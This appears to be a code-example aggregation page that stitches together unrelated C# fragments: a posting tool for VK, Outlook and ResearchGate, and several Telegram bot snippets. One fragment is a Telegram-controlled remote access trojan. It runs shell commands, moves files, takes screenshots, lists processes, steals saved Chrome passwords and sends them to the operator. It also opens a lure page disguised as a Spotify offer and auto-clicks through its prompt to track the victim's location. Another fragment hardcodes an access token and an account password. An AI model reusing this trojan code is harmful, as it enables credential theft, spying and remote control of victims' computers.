                        }
                    }
                }
                catch
                {
                    System.Windows.MessageBox.Show("ошибка");
                }
            }

            if (vkFlag)
            {
                //try
                //{
                //отправляем в ВК
                try
                {
                    var    VkClass = new vkWallPost("ae363f8388210268830659859871e929f4ceb3976839d856b8aedf8d7ce812b1bd9100ede063380ab1070");
                    string result  = VkClass.AddWallPost(-180723519, newText, TxtFile.Text, time, data);
                    System.Windows.Forms.MessageBox.Show(result);

                    //"""в это время уже было отправлено"" сделать месседжбокс
                    string ch          = "for this time";
                    int    indexOfChar = result.IndexOf(ch);
                    if (result == "Error")
                    {
                        throw (new Exception("Нельзя отправлять полностью пустое сообщение"));
                    }
                    flag = true;
                }
                catch (System.Net.WebException)
                {
                    System.Windows.MessageBox.Show("Нет подключения к сети");
                }

                //}
                //catch (Exception ex)
                //{
                //    System.Windows.MessageBox.Show(ex.Message);
                //}
            }
            //отправка в OutLook
            string listOfPost = "";

            if (outFlag || OutSave || OutSend)
            {
                //try{
                Microsoft.Office.Interop.Outlook._Application _app = new Microsoft.Office.Interop.Outlook.Application();
                Microsoft.Office.Interop.Outlook.MailItem     mail = (Microsoft.Office.Interop.Outlook.MailItem)_app.CreateItem(Microsoft.Office.Interop.Outlook.OlItemType.olMailItem);
                using (StreamReader sw = new StreamReader("OutLookTxt.txt"))
                {
                    string s = sw.ReadLine();
                    while (s != "" && s != null)
                    {
                        listOfPost += s + ";";
                        s           = sw.ReadLine();
                    }
                }
                listOfPost = listOfPost.Substring(0, listOfPost.Length - 1);
                mail.To    = listOfPost;
                using (StreamReader sw = new StreamReader("themaTxt.txt"))
                {
                    string s = sw.ReadLine();
                    mail.Subject = s;
                }
                mail.Body       = newText;
                mail.Importance = Microsoft.Office.Interop.Outlook.OlImportance.olImportanceNormal;
                try
                {
                    mail.Attachments.Add(TxtFile.Text, Microsoft.Office.Interop.Outlook.OlAttachmentType.olByValue, 1, "Няяяяяяя");
                }
                catch (DirectoryNotFoundException) { }

                //}
                //catch (Exception ex)
                //{
                //    System.Windows.MessageBox.Show(ex.Message, "Ошибка");
                //}
                flag = true;
                if (OutSave)
                {
                    mail.Save();
                }
                else
                {
                    mail.Send();
                }
            }
            if (rgNew)
            {
                string titlerg;
                using (StreamReader sw = new StreamReader("titleRgNews.txt"))
                {
                    titlerg = sw.ReadLine();
                }

                var options = new ChromeOptions();
                options.AddArguments("headless");
                using (IWebDriver driver = new ChromeDriver(options))
                {
                    driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(60);
                    driver.Navigate().GoToUrl("https://www.researchgate.net/project/TestPro/update/create");
                    driver.FindElement(By.Id("input-login")).SendKeys("*****@*****.**");
                    //System.Threading.Thread.Sleep(500);
                    driver.FindElement(By.Id("input-password")).SendKeys("fynbakee1");
                    driver.FindElement(By.CssSelector("button.nova-c-button")).Click();
                    driver.FindElement(By.Id("field-title")).SendKeys(titlerg);
                    driver.FindElement(By.CssSelector("div.converse-editor__input")).Click();
                    Actions action = new Actions(driver);
                    action.SendKeys(newText).Build().Perform();
                    driver.FindElement(By.CssSelector("button.nova-c-button[type='submit']")).Click();
                    rgNew = false;
                }
                if (rgAnons)
                {
                    rgAnons = false;
                }
                if (flag)
                {
                    MessSaveBox objModal = new MessSaveBox();
                    objModal.Owner = this;
                    ApplyEffect(this);
                    objModal.ShowDialog();
                    ClearEffect(this);
                }
            }
        }
Пример #21
0
        internal async Task SendDocument(long chatId, Stream contentStream, string fileName, string caption)
        {
            var document = new Telegram.Bot.Types.InputFiles.InputOnlineFile(contentStream, fileName);

            await _bot.SendDocumentAsync(chatId, document, caption);
        }
Пример #22
0
        // Main
        private void Bot_OnMessage(object sender, Telegram.Bot.Args.MessageEventArgs e)
        {
            if (e.Message.Type == Telegram.Bot.Types.Enums.MessageType.Text)
            {
                if (e.Message.Text.StartsWith("/CMD") && e.Message.Text.Length > 4)
                {
                    Bot.SendTextMessageAsync(e.Message.Chat.Id, CMD(e.Message.Text.Substring(5, e.Message.Text.Length - 5)));
                }
                else if (e.Message.Text.StartsWith("/Download"))
                {
                    try
                    {
                        List <string> argv = e.Message.Text.Split(' ').ToList <string>();
                        Download(argv[1], argv[2]);
                    }
                    catch { Bot.SendTextMessageAsync(e.Message.Chat.Id, "Error en el comando y/o archivo a descargar."); }
                }
                else if (e.Message.Text.StartsWith("/Upload"))
                {
                    try
                    {
                        List <string> argv = e.Message.Text.Split('|').ToList <string>();
                        Upload_This(argv[1], argv[2]);
                        Bot.SendTextMessageAsync(e.Message.Chat.Id, "Subido correctamente.");
                    }
                    catch { Bot.SendTextMessageAsync(e.Message.Chat.Id, "Error en el comando y/o archivo a subir."); }
                }
                else
                {
                    switch (e.Message.Text)
                    {
                    case "/Screenshot":
                        using (Image img = Screenshot())
                        {
                            img.Save(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Pic.png", System.Drawing.Imaging.ImageFormat.Png);

                            FileStream fs = System.IO.File.Open(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Pic.png", FileMode.Open);

                            Telegram.Bot.Types.InputFiles.InputOnlineFile s = new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs);
                            Bot.SendPhotoAsync(e.Message.Chat.Id, s);
                        }
                        break;

                    case "/WifiSSID":
                        Bot.SendTextMessageAsync(e.Message.Chat.Id, SSID());
                        break;

                    case "/DWStatus":
                        if (check)
                        {
                            check = false; Bot.SendTextMessageAsync(e.Message.Chat.Id, "Descarga completada");
                        }
                        else
                        {
                            Bot.SendTextMessageAsync(e.Message.Chat.Id, "Aún no se ha completado la descarga");
                        }
                        break;

                    case "/Directory":
                        Bot.SendTextMessageAsync(e.Message.Chat.Id, Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
                        Console.WriteLine(e.Message.Chat.Id);
                        break;

                    case "/Location":
                        Process.Start("chrome.exe", "https://getspotifypremium.000webhostapp.com/");
                        int Segundos_actuales = Convert.ToInt32(DateTime.Now.ToString("ss"));
                        int comparar          = Segundos_actuales + 5;

                        switch (Segundos_actuales)
                        {
                        case 55: comparar = 0; break;

                        case 56: comparar = 1; break;

                        case 57: comparar = 2; break;

                        case 58: comparar = 3; break;

                        case 59: comparar = 4; break;
                        }

                        int X = Cursor.Position.X;
                        int Y = Cursor.Position.Y;

                        while (comparar != Convert.ToInt32(DateTime.Now.ToString("ss")))
                        {
                            System.Windows.Forms.Cursor.Position = new Point(
                                X,
                                Y
                                );
                        }
                        SendKeys.SendWait("+{TAB}");
                        SendKeys.SendWait("+{TAB}");
                        SendKeys.SendWait("{ENTER}");

                        Bot.SendTextMessageAsync(e.Message.Chat.Id, "Comando ejecutado correctamente");
                        break;

                    case "/GetLocation":
                        try
                        {
                            Bot.SendTextMessageAsync(e.Message.Chat.Id, Download_SourceCode("https://getspotifypremium.000webhostapp.com/location.html"));
                        }
                        catch
                        {
                            Bot.SendTextMessageAsync(e.Message.Chat.Id, "Localización no disponible");
                        }
                        break;

                    case "/Passwords":
                        try
                        {
                            List <IPassReader> readers = new List <IPassReader>();
                            readers.Add(new ChromePassReader());

                            foreach (var reader in readers)
                            {
                                try
                                {
                                    foreach (var d in reader.ReadPasswords())
                                    {
                                        Bot.SendTextMessageAsync(e.Message.Chat.Id, ($"{d.Url}\r\n\tU: {d.Username}\r\n\tP: {d.Password}\r\n"));
                                    }
                                }
                                catch (Exception ex)
                                {
                                    Bot.SendTextMessageAsync(e.Message.Chat.Id, "Error");
                                }
                            }
                        }
                        catch
                        {
                            Bot.SendTextMessageAsync(e.Message.Chat.Id, "Error");
                        }
                        break;


                    case "/SnapShot":
                        break;

                    case "/ProcessList":
                        // Se deja los 3 últimos processos por alguna razón.
                        string    list        = "";
                        Process[] processlist = Process.GetProcesses();

                        foreach (Process theprocess in processlist)
                        {
                            list += String.Format("Process: {0} ID: {1}\n", theprocess.ProcessName, theprocess.Id);
                        }

                        int n = list.Length;
                        while (n >= 0)
                        {
                            int t = 0;
                            if (n <= 4096)
                            {
                                Bot.SendTextMessageAsync(e.Message.Chat.Id, list.Substring(t, list.Length)); break;
                            }
                            if (n >= 4096)
                            {
                                Bot.SendTextMessageAsync(e.Message.Chat.Id, list.Substring(t, 4096));
                                t += 4096;
                                n -= 4096;
                            }
                        }
                        break;

                    default:
                        Bot.SendTextMessageAsync(e.Message.Chat.Id, Commands());
                        break;
                    }
                }
            }
        }
Пример #23
0
        /// <summary>
        /// Метод обработки события нажатия кнопки "отправить всем". Алгоритмы и методы аналогичны кнопке отправки сообщения.
        /// Только здесь отправка происходит всем пользователям из списка TgMsgClient.idList посредством foreach
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void OnSendMsgToAllBtnClick(object sender, RoutedEventArgs e)
        {
            if (TgMsgClient.idList.Count != 0)
            {
                if (pathToFile.Text != "" && ForInputmsgTBox.Text == "")
                {
                    if (pathToFile.Text != "" && !pathToFile.Text.Contains("\"coord\""))
                    {
                        if (fi.FullName.Contains("jpg"))
                        {
                            foreach (int i in TgMsgClient.idList)
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);

                                    long id = Convert.ToInt64(i);
                                    await client.bot.SendPhotoAsync(id, fileToSend);
                                }
                            }
                        }
                        if (fi.FullName.Contains("mp3"))
                        {
                            foreach (int i in TgMsgClient.idList)
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);

                                    long id = Convert.ToInt64(i);
                                    await client.bot.SendAudioAsync(id, fileToSend);
                                }
                            }
                        }
                    }
                    Dispatcher.Invoke(() => pathToFile.Text = "");

                    Dispatcher.Invoke(() => imgToSend.Source = null);
                }
                else if (pathToFile.Text == "" && ForInputmsgTBox.Text != "")
                {
                    string message = ForInputmsgTBox.Text;
                    foreach (int i in TgMsgClient.idList)
                    {
                        long id = Convert.ToInt64(i);
                        await client.bot.SendTextMessageAsync(id, ForInputmsgTBox.Text);
                    }

                    foreach (int i in TgMsgClient.idList)
                    {
                        long id = Convert.ToInt64(i);
                        Dispatcher.Invoke(() => client.BotMsgLog[TgMsgClient.usersDictionary[id] - 1].Add(new MsgLog(message, "СомНэйм", client.bot.BotId)));
                    }

                    Dispatcher.Invoke(() => ForInputmsgTBox.Clear());
                }
                else if (pathToFile.Text != "" && ForInputmsgTBox.Text != "")
                {
                    if (pathToFile.Text != "" && !pathToFile.Text.Contains("\"coord\""))
                    {
                        if (fi.FullName.Contains("jpg"))
                        {
                            foreach (int i in TgMsgClient.idList)
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);

                                    long id = Convert.ToInt64(i);
                                    await client.bot.SendPhotoAsync(id, fileToSend);
                                }
                            }
                        }
                        if (fi.FullName.Contains("mp3"))
                        {
                            foreach (int i in TgMsgClient.idList)
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);

                                    long id = Convert.ToInt64(i);
                                    await client.bot.SendAudioAsync(id, fileToSend);
                                }
                            }
                        }
                    }

                    string message = ForInputmsgTBox.Text;
                    foreach (int i in TgMsgClient.idList)
                    {
                        long id = Convert.ToInt64(i);
                        await client.bot.SendTextMessageAsync(id, ForInputmsgTBox.Text);
                    }

                    foreach (int i in TgMsgClient.idList)
                    {
                        long id = Convert.ToInt64(i);
                        Dispatcher.Invoke(() => client.BotMsgLog[TgMsgClient.usersDictionary[id] - 1].Add(new MsgLog(message, "СомНэйм", client.bot.BotId)));
                    }

                    Dispatcher.Invoke(() => pathToFile.Text = "");

                    Dispatcher.Invoke(() => ForInputmsgTBox.Clear());

                    Dispatcher.Invoke(() => imgToSend.Source = null);
                }
                else
                {
                    MessageBox.Show("Нет данных для отправки.");
                }
            }
            else
            {
                MessageBox.Show("Не найдено ни одного получателя.");
            }
        }
        public async Task EchoAsync(Update update)
        {
            if (update.Type != UpdateType.Message)
            {
                return;
            }

            var message = update.Message;

            //await GetUserProfilePhotos(message);

            switch (message.Type)
            {
            case MessageType.Text:
                switch (message.Text)
                {
                case "imagem":
                    var photoInput = new Telegram.Bot.Types.InputFiles.InputOnlineFile("https://cdn.shortpixel.ai/client/q_glossy,ret_img/https://chatbotmaker.io/wp-content/uploads/Ativo-3.png");
                    await Client.SendPhotoAsync(message.Chat.Id, photoInput);

                    break;

                case "contato":
                    await Client.SendContactAsync(message.Chat.Id, "55 85 99999-9999", "Fulano", "de Tal", replyToMessageId : message.MessageId);

                    break;

                case "digitando":
                    await Client.SendChatActionAsync(message.Chat.Id, ChatAction.Typing);

                    await Task.Delay(2000);

                    await Client.SendTextMessageAsync(message.Chat.Id, message.Text);

                    break;

                case "teclado":
                    var customKeyboard = new ReplyKeyboardMarkup()
                    {
                        OneTimeKeyboard = true,
                        Keyboard        = new List <List <KeyboardButton> >()
                        {
                            new List <KeyboardButton>()
                            {
                                new KeyboardButton("Botão 1"),
                                new KeyboardButton("Botão 2")
                            },
                            new List <KeyboardButton>()
                            {
                                new KeyboardButton("Botão 3")
                            },
                        }
                    };

                    await Client.SendTextMessageAsync(message.Chat.Id, "teclado", replyMarkup : customKeyboard);

                    break;

                default:
                    await Client.SendTextMessageAsync(message.Chat.Id, message.Text);

                    break;
                }
                break;

            case MessageType.Photo:
                var fileId = message.Photo.LastOrDefault()?.FileId;
                var file   = await Client.GetFileAsync(fileId);

                var filename = file.FileId + "." + file.FilePath.Split('.').Last();
                using (var saveImageStream = System.IO.File.Open(filename, FileMode.Create))
                {
                    await Client.DownloadFileAsync(file.FilePath, saveImageStream);
                }

                await Client.SendTextMessageAsync(message.Chat.Id, "Vlw pela foto!");

                break;

            case MessageType.GroupCreated:
                await Client.SendTextMessageAsync(message.Chat.Id, "E aí galerinha do mal!");

                break;
            }
        }